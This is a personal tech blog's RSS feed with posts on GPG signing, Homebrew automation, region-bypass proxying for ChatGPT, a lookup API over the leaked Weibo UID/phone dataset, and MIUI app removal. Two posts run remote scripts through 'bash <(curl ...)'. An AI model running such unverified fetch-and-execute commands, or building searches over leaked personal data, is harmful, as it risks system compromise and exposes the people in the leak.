&lt;p&gt;在之前的博客里写过，在我大一的时候，其实没有花太多的时间在学习上，我遇到了一个女孩子，她是上海人，我们是因为一个朋友认识的。在和她相处的时间里，非常充实，我们除了上课的时间之外，下午下课，晚自习下课几乎都一起在学校里闲逛，甚至晚上在寝室还会一直打电话聊天。她陪我过了我的 19 岁生日，这是第一次有朋友陪我过生日。不过这样的日子持续了没多久，我主动选择了不再继续。虽然现在想起来如果当初没那样做，我们会不会有更多的故事，也许会吧，但是很多事情不能从头来过。大一下学期，疫情爆发，那一个学期开始在家上网课，我也开始了疯狂熬夜，昼夜颠倒，网课也不好好听，几乎都是在边睡觉边听课。&lt;/p&gt;
&lt;h3&gt;大二&lt;/h3&gt;
&lt;p&gt;大二的时候我加入了我从大一就非常想去的社团（一个开发的社团），可惜的是错过了开学的时候的时间，中途是不能加入社团的。到大二的时候我终于等到了招募新成员，我顺利地通过了三次面试。后来才知道，社长是和我同城的。也许也有这方面的原因，我们关系越来越好，后来我也被推荐去参加各种比赛，而且还都获奖了。除了社长之外，我还认识了两位很特别的朋友。他们都是我的学长，直到现在，我们还在保持联系，他们帮了我很多忙。不出意外的话，未来我们也会一直保持联系。&lt;/p&gt;
&lt;p&gt;记得很清楚，那一年的寒假，大概是在 2021 年的 2 月的时候，推出了一款 App————Clubhouse，最初的时候是邀请制的，而且每个人邀请的人数有上限，那个时候有一个北京的网友 &lt;strong&gt;意峰（后来从他的公众号得知，他是一个特别励志的人）&lt;/strong&gt; 邀请了我。后来我加入了一个聊天室————哈哈。那里面的基本都是在北美，基本就是加拿大和美国，也有几个在英国。那个时候因为疫情，大家都在家里很闲，所以基本上一直都在有人在分享故事。那段时间我几乎每天有 10 多个小时在和他们互动，后来我们也有了微信群。认识了现在 PolyU HK 读硕士的 Cindy，还有在纽约工作的 Rose，还有在加拿大工作的 Kevin。我记得当时有一位小姐姐，是在 Amazon 总部工作，主要的方向是 Database，据他所说，他的家人都是做开发的，在美国留学毕业之后就去了 Amazon，当时也有听一个在美国的资深程序员分享工作的体验。慢慢地，我开始觉得我毕业之后在国内没有什么前途，我尝试了很多次向 &lt;strong&gt;字节跳动&lt;/strong&gt; 投简历，从大一到大四，从来都没有获得过面试的机会，简历筛选之后直接流程中止，这让我很受挫。从那个时候开始，我开始计划去美国读 Master。然后通过 OPT 留在美国实习，再碰碰运气能不能抽中 H1B。后来在 2022 年的 4 月我入职了 PwC AC Shanghai，这是我的第一份实习，也是我第一次加入一家外企。它确实是一家非常人性化的工作，我们可以一直 Work From Home，我们不需要上下班打卡考勤，我们有一个月一次的带薪 Sick Day。只不过后来我因为我部分开发的方向和我未来想从事的方向有些偏差，我主动申请了离职。不过从这一次的实习中，让我更坚定地决定了之后一定要去外企工作。&lt;/p&gt;
&lt;h3&gt;大三&lt;/h3&gt;
&lt;p&gt;大三刚开始之后，我和爸妈商量了去美国去 Master 的想法，他们同意了我的计划。在这里我要感谢我的爸妈，从我上大学之后，给我了很多了自由，我自己几乎可以做任何选择。我从那一年的 2021 年 11 月左右开始学习雅思、托福（由于一开始哪个更适合我，所以我都体验了一下）。不过那个时候非常辛苦，由于我的学校非常偏僻，又加上考虑到寒假上课，我选择的是杭州的培训机构，所以那个时候我每周五都会回家，然后周六在杭州上课，周日回上海。坚持了差不多有一两个月。后来寒假就是每天在杭州上课，一个星期 7 天只有 1 天休息。2022 年的 3 月疫情又爆发了，趁上海封城，学校封校之后我就已经回家了。我就开始了一段时间的网课。也开始寻找留学中介，一直在准备留学的事情。&lt;/p&gt;
&lt;h3&gt;大四&lt;/h3&gt;
&lt;p&gt;大四的时候，几乎没去过学校，一直都在家里，筹备申请的材料，开始学习如何申请研究生。也慢慢开始准备我的毕业设计、毕业论文，还有各种各样的答辩等等。直到我写这篇文章的时候（2023 年 5 月），我已经完成了所有的毕业材料的递交。近期正在准备美签的材料，打算在 5 月底或 6 月初前往香港办理面签。8 月就正式开始上学。&lt;/p&gt;
&lt;h3&gt;总结和未来&lt;/h3&gt;
&lt;p&gt;大学这四年，因为疫情的原因，其实几乎只有不到一半的时间在学校，大学生活的体验不算太好，没有谈一场恋爱。但是很开心的是，我遇到了很多真诚的人，这些人可能会是我这辈子最好的朋友。至于未来，接下里的目标是完成 Master 的课程顺利毕业，然后去 Apple、Google 或者 Amazon 实习，有机会的话希望可以转正。我正在朝着我的梦想一步一步往前，希望一切顺利。&lt;/p&gt;
</content:encoded></item><item><title>Git Enable Commit Signing</title><link>https://missuo.me/posts/git-commit-enable-signing/</link><guid isPermaLink="true">https://missuo.me/posts/git-commit-enable-signing/</guid><description>A quick guide to setting up GPG commit signing for Git and GitHub, including key generation, export, Git configuration, and VSCode integration.</description><pubDate>Mon, 06 Mar 2023 20:12:33 GMT</pubDate><content:encoded>&lt;h3&gt;Generate GPG key&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ gpg --full-generate-key
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Choose &lt;code&gt;RSA and RS&lt;/code&gt; and &lt;code&gt;4096&lt;/code&gt;. Please make sure the email is the same as your Git.&lt;/p&gt;
&lt;h3&gt;Export GPG Key&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ gpg --list-secret-keys --keyid-format LONG
gpg: checking the trustdb
gpg: marginals needed: 3  completes needed: 1  trust model: pgp
gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u
/Users/vincent/.gnupg/pubring.kbx
---------------------------------
sec   rsa3072/A035553B8A2F45A2 2022-09-10 [SC]
      21B1DADC35757E3C1680ABF0A035553B8A2F45A2
uid                 [ultimate] Vincent Yang &amp;lt;i@yyt.moe&amp;gt;
ssb   rsa3072/FDE12D34BDBDE80E 2022-09-10 [E]

sec   rsa4096/84A0830C90354A56 2023-03-06 [SC]
      7BF3AA3C919F20EA1A36CCD984A0830C90354A56
uid                 [ultimate] Vincent Yang (Git) &amp;lt;missuo@pm.me&amp;gt;
ssb   rsa4096/D611020AF7422B8D 2023-03-06 [E]

$ gpg --armor --export 84A0830C90354A56
-----BEGIN PGP PUBLIC KEY BLOCK-----
...
-----END PGP PUBLIC KEY BLOCK-----
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Fill in your GitHub&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/settings/gpg/new&quot;&gt;Add new GPG Key&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Configure Git&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ git config --global user.signingkey 84A0830C90354A56
$ git config --global commit.gpgsign true

# Avoid entering your password every time
brew install gpg-suite --cask
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Configure VSCode&lt;/h3&gt;
&lt;p&gt;Check the box in the settings &lt;code&gt;Git: Enable Commit Signing&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230307sUo8Vy.png&quot; alt=&quot;20230307sUo8Vy&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Automatically update Homebrew versions using Action</title><link>https://missuo.me/posts/brew-version-update/</link><guid isPermaLink="true">https://missuo.me/posts/brew-version-update/</guid><description>A tutorial on automating Homebrew formula updates using GitHub Actions, with shell scripts that fetch latest release versions and update SHA256 hashes automatically after each release.</description><pubDate>Fri, 03 Mar 2023 18:42:51 GMT</pubDate><content:encoded>&lt;p&gt;Homebrew 可以说是 Mac 上必装的命令行工具之一。它真的太好用太方便的。但是你在维护一个 Homebrew Tap 的时候，如果你的程序有新的 Release 发布时，需要在对应的 &lt;code&gt;.rb&lt;/code&gt; 文件中修改版本号以及对应的二进制文件的 sha256，这显然会有些繁琐，或者说不太优雅。&lt;/p&gt;
&lt;p&gt;我习惯使用 GitHub Action 去交叉编译各种 Release，重要的是 Action 可以帮助我自动发布。其实在每一次 Action 发布之后，可以添加一个 Step，去更新 Casks 或者 Formula 的 &lt;code&gt;.rb&lt;/code&gt;。为了方便，你可以创建一个 &lt;code&gt;.sh&lt;/code&gt; 文件来做这件事。&lt;/p&gt;
&lt;h2&gt;部分代码（以 DeepL X 为例）&lt;/h2&gt;
&lt;h4&gt;更新版本号&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;Get the latest version of Deeplx
last_version=$(curl -Ls &quot;https://api.github.com/repos/OwO-Network/DeepLX/releases/latest&quot; | grep &apos;&quot;tag_name&quot;:&apos; | sed -E &apos;s/.*&quot;([^&quot;]+)&quot;.*/\1/&apos; | sed &apos;s/v//g&apos;)

# Update the version number in the formula
sed -i &quot;s/version \&quot;.*/version \&quot;${last_version}\&quot;/g&quot; Formula/deeplx.rb
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;更新 sha256&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt; # Download the new binaries
wget -O deeplx_darwin_amd64 https://github.com/OwO-Network/DeepLX/releases/download/v${last_version}/deeplx_darwin_amd64
wget -O deeplx_darwin_arm64 https://github.com/OwO-Network/DeepLX/releases/download/v${last_version}/deeplx_darwin_arm64

# Calculate the SHA256 hash for the new binaries
amd64_sha256=$(sha256sum deeplx_darwin_amd64 | cut -d &apos; &apos; -f 1)
arm64_sha256=$(sha256sum deeplx_darwin_arm64 | cut -d &apos; &apos; -f 1)

# Update the SHA256 hashes in the formula
sed -i &quot;8s/.*/    sha256 \&quot;${arm64_sha256}\&quot;/&quot; Formula/deeplx.rb
sed -i &quot;11s/.*/    sha256 \&quot;${amd64_sha256}\&quot;/&quot; Formula/deeplx.rb

# Delete the new binaries
rm -f deeplx_darwin*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 Action 发布到 Release 之后，触发这个 shell 文件就可以啦。这样的话，当你有新的 Release 发布的时候，无需去维护 Homebrew Tap。用户可以直接获取到最新的版本。&lt;/p&gt;
</content:encoded></item><item><title>Unlock ChatGPT with Cloudflare WARP</title><link>https://missuo.me/posts/cloudflare-warp-chatgpt/</link><guid isPermaLink="true">https://missuo.me/posts/cloudflare-warp-chatgpt/</guid><description>A technical guide to bypassing ChatGPT IP restrictions using Cloudflare WARP as an IPv6 proxy, with XrayR/V2Ray configuration examples for routing OpenAI traffic through WARP.</description><pubDate>Sat, 11 Feb 2023 05:33:35 GMT</pubDate><content:encoded>&lt;h2&gt;原理分析&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Cloudflare WARP&lt;/strong&gt; 拥有很多 IP，而 ChatGPT 的 CDN 又是 Cloudflare 提供的，也就是说，能不能访问完全取决于 Cloudflare。因此使用 Cloudflare 自己的 IP 大概率不会被 Ban。除了 WARP 之外，iCloud Private Relay 也是 Cloudflare 的 IP 哦。&lt;/p&gt;
&lt;h2&gt;具体步骤&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;本文的方案仅改变 IPv6 出口 IP，不会改变 IPv4 出口 IP，更不会改变路由。&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;准备一台 VPS，需要是 OpenGPT 支持的 161 个国家之一。因为你的网络在哪里，WARP 就会使用你所在地的 IP。比如香港就不行。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href=&quot;https://platform.openai.com/docs/supported-countries&quot;&gt;Supported countries and territories&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用以下命令安装 WARP。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -fsSL git.io/warp.sh) proxy
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;配置 XrayR/V2Ray 的出站规则和路由。（以 XrayR 为例，XrayR/V2Ray 的使用本文略过）&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# custom_outbound.json
{
    &quot;tag&quot;: &quot;socks5-warp&quot;,
    &quot;protocol&quot;: &quot;socks&quot;,
    &quot;settings&quot;: {
        &quot;servers&quot;: [{
            &quot;address&quot;: &quot;127.0.0.1&quot;,
            &quot;port&quot;: 40000
        }]
    }
}
# route.json
{
    &quot;type&quot;: &quot;field&quot;,
    &quot;outboundTag&quot;: &quot;socks5-warp&quot;,
    &quot;ip&quot;: [&quot;::/0&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单解释一下，出站规则是指出站走 40000 端口的 SOCKS 代理。路由规则是指所有 IPv6 出站均走 SOCKS 代理。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果你只是想让 OpenAI 走 WARP 的 IPv6，可以这样写。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# route.json
{
    &quot;type&quot;: &quot;field&quot;,
    &quot;outboundTag&quot;: &quot;socks5-warp&quot;,
    &quot;domain&quot;: [&quot;openai.com&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>I subscribed to ChatGPT Plus</title><link>https://missuo.me/posts/chatgpt-plus/</link><guid isPermaLink="true">https://missuo.me/posts/chatgpt-plus/</guid><description>An early adopter&apos;s experience subscribing to ChatGPT Plus using a browser workaround, including tips on IP requirements for accessing OpenAI services and a self-developed OpenAI-Checker tool for verifying IP compatibility.</description><pubDate>Fri, 10 Feb 2023 23:04:11 GMT</pubDate><content:encoded>&lt;h2&gt;ChatGPT Plus 功能&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Available even when demand is high 即使在需求大的时候也可以使用&lt;/li&gt;
&lt;li&gt;Faster response speed 更快的反应速度&lt;/li&gt;
&lt;li&gt;Priority access to new features 优先获得新功能&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;订阅&lt;/h2&gt;
&lt;h3&gt;正常方式&lt;/h3&gt;
&lt;p&gt;填写 &lt;a href=&quot;https://docs.google.com/forms/d/e/1FAIpQLScee6ST3o-kZDjlw1ROfUNyjuRBwGdcoewxjCULNejbP5hdzQ/viewform&quot;&gt;表格&lt;/a&gt; 并等待官方给你发送电子邮件获取资格。&lt;/p&gt;
&lt;h3&gt;漏洞&lt;/h3&gt;
&lt;p&gt;在中国时间的 2 月 10 日下午，看到群里有很多朋友说出现了 &lt;strong&gt;Upgrade Plan&lt;/strong&gt; 的按钮，我立即登陆了我的帐号发现确实也有了，但是因为中国信用卡无法支付，导致开通失败。2 月 11 日我再次登录的时候发现已经消失了这个按钮。&lt;/p&gt;
&lt;p&gt;我翻看了我的 &lt;strong&gt;Chrome 历史记录&lt;/strong&gt;，找到了一个 &lt;a href=&quot;https://pay.openai.com&quot;&gt;pay.openai.com&lt;/a&gt; 的链接，点进去发现还是熟悉的 &lt;strong&gt;Stripe&lt;/strong&gt; 的界面。但是奇怪的事情是 &lt;strong&gt;我无法填写地址信息&lt;/strong&gt;，但是没有地址信息无法提交。无奈之下，当然是按下 F12，找到填写地址的每一个 &lt;strong&gt;input&lt;/strong&gt; 标签，把 &lt;strong&gt;disable&lt;/strong&gt; 全部改为 &lt;strong&gt;enable&lt;/strong&gt;，顺利地填写了信息。在我的好朋友 &lt;strong&gt;Ming&lt;/strong&gt; 的帮助下，用他的美国卡支付，没有显示成功的界面，一直显示处理中，但是收到了订阅成功的邮件。回到 &lt;a href=&quot;https://chat.openai.com&quot;&gt;chat.openai.com&lt;/a&gt; 发现已经开通好了。&lt;/p&gt;
&lt;h2&gt;体验&lt;/h2&gt;
&lt;p&gt;Plus 版本有两个模式，分别是 &lt;strong&gt;Default&lt;/strong&gt; 和 &lt;strong&gt;Turbo&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202302114W6T0j.png&quot; alt=&quot;202302114W6T0j&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据描述和实际体验，&lt;strong&gt;Turbo&lt;/strong&gt; 模式显然要快很多，回复速度比免费版有了很大的提升，很少有遇到崩溃的情况。当然英文提问会比中文回复速度快很多。&lt;/p&gt;
&lt;h2&gt;IP 的问题&lt;/h2&gt;
&lt;h3&gt;无法访问&lt;/h3&gt;
&lt;p&gt;ChatGPT 封锁了很多机房的 IP，因为 ChatGPT 使用的是 &lt;a href=&quot;https://cloudflare.com&quot;&gt;Cloudflare&lt;/a&gt; 的服务，我猜测是使用了 &lt;strong&gt;Country&lt;/strong&gt; 匹配，也就是说只有在指定国家可用，目前是 161 个国家。除此之外，应该还加入了 &lt;strong&gt;Threat Score&lt;/strong&gt; 和 &lt;strong&gt;Known Bots&lt;/strong&gt; 的判断。意味着你的 IP 要想顺利访问，需要具备两个条件，IP 属于来自 161 个国家之一，并且你的 IP 危险分数足够低。&lt;/p&gt;
&lt;h3&gt;我的方案&lt;/h3&gt;
&lt;p&gt;在 2022 年 3 月 28 日，我在 RIPE 申请到了 ASN，也就意味着我可以持有 IPv4 和 IPv6，我目前持有两个/48 的 IPv6。我目前的 IPv6 分别来自 &lt;strong&gt;台湾&lt;/strong&gt; 和 &lt;strong&gt;英国&lt;/strong&gt;，都在 161 个国家之内，危险分数都是 0。我建立了 BGP Session，完全可以使用自己的 IP 来访问 OpenAI 的服务。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230211Dlnlje.png&quot; alt=&quot;20230211Dlnlje&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Prefixes:
2401:95c0:f001::/48
2a0f:9400:6907::/48
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;检测是否可用&lt;/h3&gt;
&lt;p&gt;为了验证当前 IP 是否能够正常使用 OpenAI 服务，我用 Shell 写了一个检测脚本——&lt;a href=&quot;https://github.com/missuo/OpenAI-Checker&quot;&gt;OpenAI-Checker&lt;/a&gt;。使用方法也非常简单，仅需要在任何 Linux/macOS 上执行以下命令。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash &amp;lt;(curl -Ls https://cpp.li/openai)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检测结果示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; bash &amp;lt;(curl -Ls https://cpp.li/openai)
OpenAI Access Checker. Made by Vincent
https://github.com/missuo/OpenAI-Checker
-------------------------------------
[IPv4]
Your IPv4: 205.185.1.1 - FranTech Solutions
Your IP supports access to OpenAI. Region: US
-------------------------------------
[IPv6]
Your IPv6: 2401: 95c0: f001:: 1 - Vincent Yang
Your IP supports access to OpenAI. Region: TW
-------------------------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;ChatGPT Plus 的订阅价格为 20 美元/月，其实我觉得还可以，毕竟它能让你的体验更好，它能帮助你做很多事。只是中国大陆用户需要解决网络、绑定手机和支付问题，这一下子提高了使用门槛。&lt;/p&gt;
</content:encoded></item><item><title>Create query API for 500 million Weibo data</title><link>https://missuo.me/posts/weibo-data-searcher/</link><guid isPermaLink="true">https://missuo.me/posts/weibo-data-searcher/</guid><description>A technical guide to building a high-performance query API for the 500 million Weibo data leak using ClickHouse with dual tables indexed by UID and phone number for fast lookups.</description><pubDate>Wed, 08 Feb 2023 19:32:33 GMT</pubDate><content:encoded>&lt;h2&gt;Preparation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Clickhouse Database&lt;/li&gt;
&lt;li&gt;Linux/Windows/macOS Server&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Data Import&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;First you need to deploy Clickhouse and finish creating a brand new database.&lt;/li&gt;
&lt;li&gt;Create two tables.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Table For Query Weibo Uid.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE wb_uid(
uid String,
mobile String
)ENGINE = MergeTree()
    ORDER BY  (uid)
    PRIMARY KEY (uid);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Table For Query Mobile Phone Number&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE wb_mobile(
uid String,
mobile String
)ENGINE = MergeTree()
    ORDER BY  (mobile)
    PRIMARY KEY (mobile);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Query Data&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/OwO-Network/WeiboSearcher&quot;&gt;WeiboSearcher&lt;/a&gt; is an API program written in Golang. But he is not out of the box, because there is no configuration file that allows you to modify the database information, which will be supported in the future. But you can modify some of the configuration code and recompile it yourself.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./weibo_linux_amd64
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Q&amp;amp;A&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Why not use a MySQL database?&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Because even after building indexes, sorting, and splitting tables, MySQL data is much worse than Clickhouse, I gave up on optimizing MySQL query speed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Why use two tables?&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Because two tables are used and the indexes are different fields. It can greatly speed up the query efficiency.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Where is the data downloaded from?&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;We do not provide any data, and we do not keep any data. Please find your own data sources.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Remove National Anti-Fraud Center on MIUI</title><link>https://missuo.me/posts/fuck-miui/</link><guid isPermaLink="true">https://missuo.me/posts/fuck-miui/</guid><description>A tutorial on removing the pre-installed National Anti-Fraud Center app from MIUI devices using ADB commands or a Magisk module for rooted phones.</description><pubDate>Sat, 04 Feb 2023 00:01:04 GMT</pubDate><content:encoded>&lt;h2&gt;Uninstall Directly(Recommended)&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ROOT is not required, but it may be reinstalled after updating the system.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Connect your phone to your computer and turn on &lt;code&gt;ADB&lt;/code&gt; debugging.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install &lt;code&gt;ADB&lt;/code&gt; CLI tools on your computer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# macOS
brew install android-platform-tools
or
https://dl.google.com/android/repository/platform-tools-latest-darwin.zip

# Windows
https://dl.google.com/android/repository/platform-tools-latest-windows.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Execute the following code.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;adb shell pm list package | grep com.miui.guardprovider
adb uninstall --user 0 com.miui.guardprovider
adb shell pm list users

# if you find other users on your phone, please execute the following command.
adb uninstall --user [USERID] com.miui.guardprovider
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230204UJZpcM.png&quot; alt=&quot;20230204UJZpcM&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Install Magisk Module&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ROOT is required, but updating the system works just as well.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/MinaMichita/AntiAntiDefraud/&quot;&gt;MinaMichita/AntiAntiDefraud/&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Bandwagonhost $99 THE PLAN</title><link>https://missuo.me/posts/bandwagonhost/</link><guid isPermaLink="true">https://missuo.me/posts/bandwagonhost/</guid><description>A promotional post for Bandwagonhost&apos;s $99/year VPS plan featuring 2 CPU cores, 2GB RAM, 40GB SSD, 1TB monthly traffic, and access to premium data centers including Hong Kong and Japan Softbank.</description><pubDate>Thu, 12 Jan 2023 18:21:54 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;CPU: 2 cores
Memory: 2 GB
Hard drive: 40 GB SSD
Traffic: 1000 GB/month
Bandwidth: up to 2.5 Gbps
Server room: HK85/Japan Softbank/DC6/DC9, etc.
Migration: 17 server rooms at will
Price: $29/quarter, $99/year
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://bandwagonhost.com/aff.php?aff=69823&amp;amp;pid=129&quot;&gt;https://bandwagonhost.com/aff.php?aff=69823&amp;amp;pid=129&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Promo Code: &lt;code&gt;BWHNCXNVXV&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>Migrate from Gridea to Hexo</title><link>https://missuo.me/posts/migrate-from-gridea-to-hexo/</link><guid isPermaLink="true">https://missuo.me/posts/migrate-from-gridea-to-hexo/</guid><description>Documentation of migrating from the abandoned Gridea blogging platform to Hexo, using the same Pure theme and switching from Disqus to Gitalk for comments.</description><pubDate>Thu, 05 Jan 2023 04:47:07 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;由于 Gridea 的作者几乎已经放弃了 &lt;code&gt;Gridea客户端&lt;/code&gt; 的更新和维护，直到现在还没有支持 Apple ARM。作者主要把重心放在了收费的网页版上。恰好我在 Gridea 上使用的主题，也有移植到 Hexo 上，于是就决定迁移。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;迁移过程&lt;/h2&gt;
&lt;h3&gt;部署新博客样式&lt;/h3&gt;
&lt;p&gt;因为是同一个主题，我用的是 &lt;a href=&quot;https://github.com/renbaoshuo/hexo-theme-pure&quot;&gt;Pure&lt;/a&gt;，之前改过一遍这个主题，所以现在第二次改还是比较熟悉的。主要是去除掉一些本身我觉得不需要的功能，把显示语言改成英文，最后再加上一些我比较喜欢的内容。总共耗时了 1-2 小时。Hexo 的好处也相当明显，之后写博客，只需要使用像 Obsidian、VSCode 或者 MWeb 这类 Markdown 编辑器即可，非常方便，不需要依赖特定的博客系统客户端。除此之外，Hexo 会生成纯静态的文件，可以部署到 GitHub Pages 上，或者你可以直接上传到网站的目录。&lt;/p&gt;
&lt;h3&gt;迁移文章&lt;/h3&gt;
&lt;p&gt;复制所有的 &lt;code&gt;.md&lt;/code&gt; 文件放入新博客的 &lt;code&gt;_posts&lt;/code&gt; 下即可。唯一需要变动的，可能是 &lt;code&gt;Post&lt;/code&gt; 的几个属性。&lt;/p&gt;
&lt;h3&gt;评论系统&lt;/h3&gt;
&lt;p&gt;老的博客，Gridea 使用的是 &lt;code&gt;Disqus&lt;/code&gt;，虽然 Hexo 也一样支持，但是似乎 &lt;code&gt;Disqus&lt;/code&gt; 在中国大陆会出现加载失败的情况，所以这次索性放弃了之前的所有评论，采用了 GitHub 的 &lt;code&gt;Gitalk&lt;/code&gt;。对于开发者来说，体验还是非常棒的。&lt;/p&gt;
</content:encoded></item><item><title>2022 year-end summary</title><link>https://missuo.me/posts/summary-2022/</link><guid isPermaLink="true">https://missuo.me/posts/summary-2022/</guid><description>A satirical placeholder for a 2022 year-end summary, stating the content cannot be displayed due to relevant laws and regulations.</description><pubDate>Sun, 01 Jan 2023 00:16:35 GMT</pubDate><content:encoded>&lt;p&gt;根据相关法律法规，我的 2022 总结和 2023 展望不予显示。&lt;/p&gt;
</content:encoded></item><item><title>Add the English name to the passport</title><link>https://missuo.me/posts/english-name-passport/</link><guid isPermaLink="true">https://missuo.me/posts/english-name-passport/</guid><description>A step-by-step guide to adding an English name to a Chinese passport through notarization and the Exit-Entry Administration Bureau, including required documents, costs, and timeline.</description><pubDate>Fri, 30 Dec 2022 00:47:14 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;只是在护照的备注页添加您的 &lt;code&gt;英文名&lt;/code&gt;，护照主页的英文名字只能是你中文名的拼音形式。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;用途&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;可以使用该英文名字购买火车票、机票等。（飞猪不支持使用护照购买机票，但是大部分航空公司自己的 App 或者官网应该可以）&lt;/li&gt;
&lt;li&gt;可以使用该名字作为您在境外的主要名字，例如学生卡、驾驶证等。&lt;/li&gt;
&lt;li&gt;该名字理论上是你的法定名字之一，因此应该和你的中文名，以及中文名拼音有一样的效果。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;准备材料&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;声明书原件或复印件（经过公证的）&lt;/li&gt;
&lt;li&gt;身份证原件&lt;/li&gt;
&lt;li&gt;护照原件&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;建议先电话联系当地的 &lt;code&gt;出入境管理局&lt;/code&gt;，询问 &lt;code&gt;护照加注英文名需要哪些材料&lt;/code&gt;。一般情况下，上述这些材料一定是可以成功加注的，但是不同地区的规定可能不一样。而且上述的材料中，公证书需要花费较高的费用，如果有其他材料替代的话，或许可以剩下一笔费用。例如，跨国公司提供的全英文合同，在境外公司的员工卡，境外上学的学生证，境外大学提供的 Offer 等包含您英文名的所有正式的文件。但是如果您提供这些文件的，不能是仅仅一份，具体需要多少文件需要由出入境管理局的工作人员评判。当然如果您不愿意麻烦，可以按照上述材料准备。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;声明书&lt;/h2&gt;
&lt;h3&gt;样式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;声明书

声明人：张三，2000年12月12日出生，公民身份证号码：130011200012121111。

本人姓名 张三，因境外工作学习需要，本人声明：MIKE ZHANG 为本人在中华人民共和国境内和境外唯一使用的英文姓名，MIKE ZHANG 与本人的中文姓名 张三 和拼音 ZHANG SAN 均为本人使用。

